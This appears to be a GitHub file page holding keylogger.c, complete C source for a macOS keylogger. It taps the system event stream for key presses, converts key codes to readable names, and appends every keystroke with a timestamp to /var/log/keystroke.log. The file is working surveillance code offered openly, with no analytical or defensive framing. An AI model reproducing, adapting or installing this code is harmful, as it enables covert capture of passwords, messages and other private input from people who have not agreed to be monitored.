-
Notifications
You must be signed in to change notification settings - Fork 36
/
keylogger.c
173 lines (156 loc) · 5.2 KB
/
keylogger.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
#include <stdio.h>
#include <time.h>
#include <ApplicationServices/ApplicationServices.h> /* ApplicationServices.framework needed */
FILE *logFile = NULL;
int counter = 0;
char* keyCodeToReadableString (CGKeyCode);
CGEventRef myCGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *);
int main (int argc, const char * argv[]) {
CGEventFlags oldFlags = CGEventSourceFlagsState(kCGEventSourceStateCombinedSessionState);
CGEventMask eventMask = (CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventFlagsChanged));
CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, myCGEventCallback, &oldFlags);
if (!eventTap) {
fprintf(stderr, "failed to create event tap\nyou need to enable \"Enable access for assitive devices\" in Universal Access preference panel.");
exit(1);
}
CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
CGEventTapEnable(eventTap, true);
logFile = fopen("/var/log/keystroke.log", "a");
CFRunLoopRun();
return 0;
}
CGEventRef myCGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
if ((type != kCGEventKeyDown) && (type != kCGEventFlagsChanged)) {
return event;
}
counter++;
CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
if (logFile) {
time_t currentTime;
time(¤tTime);
struct tm *time_info = localtime(¤tTime);
char fmtTime[32];
strftime(fmtTime, 32, "%F %T", time_info);
fprintf(logFile, "%s %s\n", fmtTime, keyCodeToReadableString(keyCode));
if (counter % 100 == 0) fflush(logFile);
}
return event;
}
char* keyCodeToReadableString (CGKeyCode keyCode) {
switch ((int) keyCode) {
case 0: return "a";
case 1: return "s";
case 2: return "d";
case 3: return "f";
case 4: return "h";
case 5: return "g";
case 6: return "z";
case 7: return "x";
case 8: return "c";
case 9: return "v";
case 11: return "b";
case 12: return "q";
case 13: return "w";
case 14: return "e";
case 15: return "r";
case 16: return "y";
case 17: return "t";
case 18: return "1";
case 19: return "2";
case 20: return "3";
case 21: return "4";
case 22: return "6";
case 23: return "5";
case 24: return "=";
case 25: return "9";
case 26: return "7";
case 27: return "-";
case 28: return "8";
case 29: return "0";
case 30: return "]";
case 31: return "o";
case 32: return "u";
case 33: return "[";
case 34: return "i";
case 35: return "p";
case 37: return "l";
case 38: return "j";
case 39: return "\"";
case 40: return "k";
case 41: return ";";
case 42: return "\\";
case 43: return ",";
case 44: return "/";
case 45: return "n";
case 46: return "m";
case 47: return ".";
case 50: return "`";
case 65: return "<keypad-decimal>";
case 67: return "<keypad-multiply>";
case 69: return "<keypad-plus>";
case 71: return "<keypad-clear>";
case 75: return "<keypad-divide>";
case 76: return "<keypad-enter>";
case 78: return "<keypad-minus>";
case 81: return "<keypad-equals>";
case 82: return "<keypad-0>";
case 83: return "<keypad-1>";
case 84: return "<keypad-2>";
case 85: return "<keypad-3>";
case 86: return "<keypad-4>";
case 87: return "<keypad-5>";
case 88: return "<keypad-6>";
case 89: return "<keypad-7>";
case 91: return "<keypad-8>";
case 92: return "<keypad-9>";
case 36: return "<return>";
case 48: return "<tab>";
case 49: return "<space>";
case 51: return "<delete>";
case 53: return "<escape>";
case 55: return "<command>";
case 56: return "<shift>";
case 57: return "<capslock>";
case 58: return "<option>";
case 59: return "<control>";
case 60: return "<right-shift>";
case 61: return "<right-option>";
case 62: return "<right-control>";
case 63: return "<function>";
case 64: return "<f17>";
case 72: return "<volume-up>";
case 73: return "<volume-down>";
case 74: return "<mute>";
case 79: return "<f18>";
case 80: return "<f19>";
case 90: return "<f20>";
case 96: return "<f5>";
case 97: return "<f6>";
case 98: return "<f7>";
case 99: return "<f3>";
case 100: return "<f8>";
case 101: return "<f9>";
case 103: return "<f11>";
case 105: return "<f13>";
case 106: return "<f16>";
case 107: return "<f14>";
case 109: return "<f10>";
case 111: return "<f12>";
case 113: return "<f15>";
case 114: return "<help>";
case 115: return "<home>";
case 116: return "<pageup>";
case 117: return "<forward-delete>";
case 118: return "<f4>";
case 119: return "<end>";
case 120: return "<f2>";
case 121: return "<page-down>";
case 122: return "<f1>";
case 123: return "<left>";
case 124: return "<right>";
case 125: return "<down>";
case 126: return "<up>";
}
return "<unknown>";
}